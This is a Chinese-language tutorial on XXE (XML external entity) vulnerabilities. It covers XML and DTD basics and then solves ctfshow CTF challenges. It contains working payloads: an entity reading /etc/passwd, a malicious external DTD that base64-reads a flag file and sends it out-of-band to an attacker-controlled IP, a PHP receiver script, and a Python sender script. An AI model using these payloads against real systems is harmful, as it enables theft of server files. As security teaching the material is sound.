XXE漏洞介绍及利用
一、XML基础知识
https://www.w3school.com.cn/xml/index.asp
只看里面的XML基础和DTD知识即可。
对基础知识的总结如下:
1.XML文档的整个组成部分
(1)声明部分
<?xml version="1.0" encoding="ISO-8859-1"?>
(2)DTD文档类型定义
<!DOCTYPE note [ //note是DTD的名称可随意。下面的ELEMENT是声明元素的关键词。
<!ELEMENT note (to,from,heading,body)> //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
<!ELEMENT to (#PCDATA)> //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
(3)文档内容和元素
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2.对于实体的理解(这里说的内部实体)
看第7行:注释部分。
<!DOCTYPE note [ //note是DTD的名称可随意。下面的ELEMENT是声明元素的关键词。
<!ELEMENT note (to,from,heading,body)> //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
<!ELEMENT to (#PCDATA)> //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY hithub "meng"> //这里就是我们的实体部分,理解为变量即可,hithub存储了“meng”的值。通过关键字ENTITY来声明实体。
]>
看引用实体:第二行。这里会将&hithub;替换为meng。
<note>
<to>&hithub;</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
3.外部实体,导致漏洞的根本原因
先看事例:
<!ENTITY hithub SYSTEM "file:///etc/passwd">
也就是说,通过关键字SYSTEM来引用外部实体。看到这里,应该就明白了XXE漏洞的危害了。
4.引用外部DTD文件也可以导致漏洞
这里我们对DTD的部分修改如下:
<!DOCTYPE hithub SYSTEM "note.dtd">
然后创建note.dtd文件内容如下:
<!ELEMENT note (to,from,heading,body)> //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
<!ELEMENT to (#PCDATA)> //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY hithub "meng"> //这里就是我们的实体部分,理解为变量即可,hithub存储了“meng”的值。通过关键字ENTITY来声明实体。
因为现在默认大多数情况下是禁止解析外部实体的,所以该方法比较常用,我们只要note.dtd里插入我们的恶意代码即可。
二、XXE漏洞演示
1.有回显
这里用ctfshow-web入门373的例题进行演示。当然了你也可以利用其他靶场,dvwa、bWAPP等等。
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
可以看到这里对XML文档中的ctfshow元素进行了输出。下面看payload及实验结果。
2.无回显
这里用ctfshow-web入门374的例题进行演示。利用了数据带外的方法。
(1)首先创建一个xxe.php用来接收带外的数据(这里注意先创建一个xxe.txt文件,然后赋予可写权限,当然了xxe.php也得有权限)
<?php
$a = $_GET['content'];
file_put_contents('xxe.txt',$a);
?>
(2)创建一个靶机要请求加载的外部xxe.dtd(这里注意使用了php伪协议读取文件,因为我发现直接模仿上面的file协议会失败)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xx.xx.252.132/xxe.php?content=%file;'>">
%int;%send;
(3)最后就是我们要发送的payload,这里用python脚本进行发送
import requests
url = 'http://ed13e2a4-c372-44ad-a98c-dec157f1a0e8.challenge.ctf.show/'
payload = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://xx.xx.252.132/xxe.dtd">%remote;
]>
"""
requests.post(url, data=payload)